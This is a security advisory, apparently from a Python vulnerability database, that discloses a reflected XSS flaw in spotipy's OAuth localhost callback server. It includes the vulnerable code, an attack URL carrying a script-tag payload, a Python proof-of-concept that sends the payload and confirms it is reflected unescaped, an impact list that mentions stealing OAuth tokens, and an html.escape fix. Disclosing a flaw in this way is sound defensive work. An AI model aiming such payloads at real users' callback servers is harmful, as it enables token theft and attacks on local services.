PYSEC-2026-1937

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:25
VLAI
Details

Summary

XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.

Details

Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)

The Problem: During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.

Vulnerable code at line 1255:

status = f"failed ({self.server.error})"

Then embedded in HTML at line 1265:

self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")

The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.

Attack Flow: 1. User starts OAuth authentication → local server runs on http://127.0.0.1:8080 2. Attacker crafts malicious URL: http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x 3. User visits URL → JavaScript executes in localhost origin

PoC

Simple Python Test:

#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback

import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time

# Start vulnerable server in background
def start_server():
    server = start_local_http_server(8080)
    server.handle_request()

thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)

# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'

response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")

# Check if vulnerable
if payload in response.text:
    print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
    print("\n[+] Safe: Payload was sanitized")

Run it:

pip install spotipy requests
python3 poc_xss.py

Output shows:

Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>

[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!

The Proof: - Expected (safe): &lt;script&gt;alert("XSS")&lt;/script&gt; - Actual (vulnerable): <script>alert("XSS")</script> - The script tags are NOT escaped → XSS confirmed

Impact

Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79

Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs

Attack Complexity: Medium-High - Requires timing (during brief OAuth window) - Localhost-only (127.0.0.1) - Requires user interaction (click malicious link)

Potential Impact: - Execute JavaScript in localhost origin - Access other localhost services (port scanning, API calls) - Steal data from local web applications - Extract OAuth tokens from browser storage - Bypass CSRF protections on localhost endpoints

CVSS 3.1 Score: 4.2 (Medium) - Attack Vector: Local - Attack Complexity: High - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality/Integrity: Low

Recommended Fix:

import html

# Line 1255 - apply HTML escaping
if self.server.error:
    status = f"failed ({html.escape(str(self.server.error))})"
Severity
3.6 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Impacted products
Name purl
spotipy pkg:pypi/spotipy
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "spotipy",
        "purl": "pkg:pypi/spotipy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.2",
        "2.0.1",
        "2.0.2",
        "2.1.0",
        "2.10.0",
        "2.11.0",
        "2.11.1",
        "2.11.2",
        "2.12.0",
        "2.13.0",
        "2.14.0",
        "2.15.0",
        "2.16.0",
        "2.16.1",
        "2.17.0",
        "2.17.1",
        "2.18.0",
        "2.19.0",
        "2.19.0rc1",
        "2.2.0",
        "2.20.0",
        "2.21.0",
        "2.22.0",
        "2.22.1",
        "2.23.0",
        "2.24.0",
        "2.25.0",
        "2.25.1",
        "2.3.0",
        "2.3.2",
        "2.3.3",
        "2.3.4",
        "2.3.5",
        "2.3.6",
        "2.3.7",
        "2.3.8",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.5.0",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.7.0",
        "2.7.1",
        "2.8.0",
        "2.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66040",
    "GHSA-r77h-rpp9-w2xm"
  ],
  "details": "### Summary\nXSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user\u0027s browser during OAuth authentication.\n\n\n### Details\n**Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET)\n\n**The Problem:**\nDuring OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization.\n\n**Vulnerable code at line 1255:**\n```python\nstatus = f\"failed ({self.server.error})\"\n```\n\n**Then embedded in HTML at line 1265:**\n```python\nself._write(f\"\"\"\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: {status}\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\"\"\")\n```\n\nThe `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.\n\n**Attack Flow:**\n1. User starts OAuth authentication \u2192 local server runs on `http://127.0.0.1:8080`\n2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=\u003cscript\u003ealert(1)\u003c/script\u003e\u0026state=x`\n3. User visits URL \u2192 JavaScript executes in localhost origin\n\n\n### PoC\n\n**Simple Python Test:**\n```python\n#!/usr/bin/env python3\n# poc_xss.py - Demonstrates XSS in spotipy OAuth callback\n\nimport requests\nfrom spotipy.oauth2 import start_local_http_server\nimport threading\nimport time\n\n# Start vulnerable server in background\ndef start_server():\n    server = start_local_http_server(8080)\n    server.handle_request()\n\nthread = threading.Thread(target=start_server, daemon=True)\nthread.start()\ntime.sleep(2)\n\n# Send XSS payload\npayload = \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027\nurl = f\u0027http://127.0.0.1:8080/?error={payload}\u0026state=test\u0027\n\nresponse = requests.get(url)\nprint(f\"Status: {response.status_code}\")\nprint(f\"\\nHTML Response:\\n{response.text}\")\n\n# Check if vulnerable\nif payload in response.text:\n    print(f\"\\n[!] VULNERABLE: Payload \u0027{payload}\u0027 reflected without escaping!\")\nelse:\n    print(\"\\n[+] Safe: Payload was sanitized\")\n```\n\n**Run it:**\n```bash\npip install spotipy requests\npython3 poc_xss.py\n```\n\n**Output shows:**\n```\nStatus: 200\nHTML Response:\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: failed (\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e)\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n[!] VULNERABLE: Payload \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027 reflected without escaping!\n```\n\n**The Proof:**\n- Expected (safe): `\u0026lt;script\u0026gt;alert(\"XSS\")\u0026lt;/script\u0026gt;`\n- Actual (vulnerable): `\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e`\n- The script tags are NOT escaped \u2192 XSS confirmed\n\n### Impact\n\n**Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79\n\n**Affected Users:** Anyone using spotipy\u0027s OAuth flow with localhost redirect URIs\n\n**Attack Complexity:** Medium-High\n- Requires timing (during brief OAuth window)\n- Localhost-only (127.0.0.1)\n- Requires user interaction (click malicious link)\n\n**Potential Impact:**\n- Execute JavaScript in localhost origin\n- Access other localhost services (port scanning, API calls)\n- Steal data from local web applications\n- Extract OAuth tokens from browser storage\n- Bypass CSRF protections on localhost endpoints\n\n**CVSS 3.1 Score:** 4.2 (Medium)\n- Attack Vector: Local\n- Attack Complexity: High\n- Privileges Required: None\n- User Interaction: Required\n- Scope: Unchanged\n- Confidentiality/Integrity: Low\n\n\n**Recommended Fix:**\n```python\nimport html\n\n# Line 1255 - apply HTML escaping\nif self.server.error:\n    status = f\"failed ({html.escape(str(self.server.error))})\"\n```",
  "id": "PYSEC-2026-1937",
  "modified": "2026-07-07T17:25:25.455228Z",
  "published": "2026-07-07T16:03:11.611342Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-r77h-rpp9-w2xm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spotipy-dev/spotipy/commit/880b92d7243dcf2b83bf31dc365a858d8b5e6767"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spotipy-dev/spotipy"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/spotipy"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r77h-rpp9-w2xm"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spotipy has a XSS vulnerability in its OAuth callback server"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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Detection rules are retrieved from Rulezet.